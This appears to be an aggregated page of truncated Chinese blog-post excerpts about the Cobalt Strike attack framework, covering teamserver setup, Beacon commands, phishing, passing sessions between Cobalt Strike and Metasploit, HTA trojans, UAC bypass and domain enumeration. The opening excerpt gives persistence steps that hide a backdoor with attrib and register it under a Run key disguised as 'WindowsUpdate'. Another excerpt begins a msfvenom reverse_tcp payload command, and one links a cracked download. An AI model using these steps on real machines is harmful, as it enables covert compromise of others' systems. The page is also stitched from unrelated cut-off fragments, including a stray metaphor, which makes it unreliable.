1.注册表启动注意：优先用这种方式来进行权限维持task.exe是CS生成的后门文件，这里后门文件可以对其做免杀隐藏文件shellattribC:\Windows\task.exe  +s+h注册表启动后门文件shellregaddHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run/vWindowsUpdate/tREG_SZ/d

打个比方，一片大地上，躺着一群沉睡的人，远处就是火山，马上就要爆发了，你就像个闹钟，面对这些沉睡的人，你想把他们叫醒。你持续不断地响着，有的睡得浅的人，被你叫醒了，跟你一块去叫醒众人，但是人数太多了，你们的声音太微弱了，叫醒的人毕竟有限，而且保不齐有的人嫌烦，时不时还踢坏两个。那

1.上线机器的Beacon的常用命令2.信息收集和网站克隆3.钓鱼邮件4.CS传递会话到MSF5.MSF会话传递到CS1上线机器的Beacon的常用命令介绍：CobaltStrike分为服务端和客户端，一般我们将服务端放在kali，客户端可以在物理机上面，或者虚拟机都可以启动服务端，首先创建一个监听（注意，这

目录前言smbbeacon上线tcplistener转发上线http代理上线tcpbeacon正向连接上线题外话—cs和msf的权限传递cs派生给msfmsf派生给cs前言出网or不出网？目标可以正常访问互联网，可直接在目标机挂socks代理或直接CS上线。而更多的情况是，内网中的服务器和主机不通外网，这样通常情

0x01前言 又到了xxx的时间了，在对红队基础设施的准备时写下的这篇文章0x02开始狩猎 CobaltStrike版本：4.9.1不做任何配置启动teamserver使用默认配置的生成x64位beacon，上线pid为30400x021BeaconEye BeaconEye 的核心原理是通过扫描CobaltStrike中的内存特征，并进行Be

在态势感知上报毒——目的IP：42.194.250.177的80端口。报毒名称为CobaltStrike远控木马活动事件，这个情况发生在已经封禁掉源IP和目的IP的前提下，所以让人百思不得其解。然后我登上了我的kali访问了这个目的IP的80端口，嘿！您猜怎么着？!这不是明摆着，欢迎您的到来嘛！这我不就来了嘛，Dir

cs工具使用给teamserver文件赋权chmod +xteamserver ./teamserver你的ip自己设置的密码例：./teamserver 192.168.10.128 qaz123#开启服务端   给cobaltstrike.sh文件赋权 chmod +xcobaltstrike.sh./cobaltstrike.sh#打开文件填写ip、端口（默认50050）、随意

前言我们在利用msf获取权限后有时候需要利用cobaltstrike的方便功能在利用cobaltstrike获取到权限后有时候需要利用msf的payload这时候就需要cobaltstrike和msf相互联动msf会话->cobaltstrike会话msf生成木马msfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.30.

目录环境和工具准备反编译CobaltStrike_4.4_000.jarIdea项目HelloWorld测试代码去除凭证读取teamserver端配置修改端口证书profile配置JA3|JA3S/JARM指纹修改源码层面修改stager导致配置泄漏修改xor密钥(未进行,没研究明白,怕改崩了)修改stager下载路径的长度修复一个漏洞参考文

CobaltStrike的使用目录CobaltStrikeCobaltStrike的安装CobaltStrike的使用创建监听器：创建Attacks：视图View：对被控主机的操作抓取hash和dump明文密码提权(Elevate)利用被控主机建立Socks4代理进程列表(注入进程，键盘监控)生成黄金票据注入当前会话(GoldenTicket)凭证转换(MakeToken

CobaltStrike 是一款美国 RedTeam 开发的渗透测试神器，常被业界人称为 CS。最近这个工具大火，成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket 代理，office 攻击，文件捆绑，钓鱼等功能。同时，CobaltStrike 还可以调用 Mimikatz

系统版本选用选择最熟悉的版本，我这边用的CentOS7.8，选用乌班图的话，会有一些命令的不一致配置运行环境CobaltStrike4.0支持jdk1.8的环境，4.5开始就不支持1.8了，本文搭载的是cs4.8，故配置的环境是jdk11查看自身Linux版本uname-r选用的系统是64位的，后面我们需要选择64位jdk11

ColbaltStrike搭建和使用 下载： https://anonfiles.com/eay1D0rfzc/CobaltStrike4_8_lusuo_rar解压（如有）密码：lusuokali中： ┌──(root㉿kali)-[~]└─#unrarxCobaltStrike4_8_lusuo.rar    以kali为服务端打开 报错是因为没给可执行权限

前言搞iot搞久了，换个方向看看，改改口味。所以决定分析一下Cobaltstrike——shellcode，顺便还可以提高一下逆向能力。windows常见结构体在分析Cobaltstrike-shellcode之

情况:我想用kali,虚拟机打开CobaltStrike,但是经过正常操作却打不开,后来,换了想要的用户名和密码(没用默认的neo),就打开了整个正常操作(成功)1.在安装了CS的目录下

malleable的含义  英文MalleableCommandandControl  可扩展的命令和控制  MalleableC2是一种特定的语言，主要用来控制“CobaltStrikeBeacon”攻击载荷中

枚举信任主机Windows命令netview/domain#查找当前域netview/domain:[domain]#查看当前域主机列表netgroup"domainco

BypassUAC  UAC是微软在WindowsVista以后版本引入的一种安全机制，通过UAC，应用程序和任务可始终在非管理员帐户的安全上下文中运行，除非管理员特别授予管理员级别的系

木马  cs可以生成HTA木马、office宏木马以及exe木马      HTA木马  HTA是HTMLApplication的缩写，直接将HTML保存成HTA的格式，是一个独立的应用软件。HTA虽然

cobaltstrike派生会话  派生会话可以通过自身增加会话或者在其他的teamserver做备份会话  在原有的监听器的基础上创建新的监听器        派生一个新的

重定器  “重定器”是一个在“cobaltstrike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接，进行任意的连接或返回。（注：即通常说的代理

本文只是交流学习心得，如果被拿去做违法乱纪的事情，请自行负责，与作者无关准备工作kali机开启CS服务器Win10开启msf、CS客户端Win7充当一台靶机  第一步：利用msfve

本文只是交流学习心得，如果被拿去做违法乱纪的事情，请自行负责，与作者无关准备工作kali机开启CS服务器Win10开启msf、CS客户端Win7充当一台靶机  第一步：利用msfve

一、HTA木马简介HTA是HTMLApplication的缩写，直接将HTML保存成HTA的格式，是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写，却比普通网页权限大得多，它具有桌面程序的所有

CS之间派生会话将CS1管理的会话派生至CS2中,简单来说就是将CS1服务器的肉鸡送给CS2服务器准备环境主机描述Kali(192.168.47.134)CSTeamServer1Kali2(19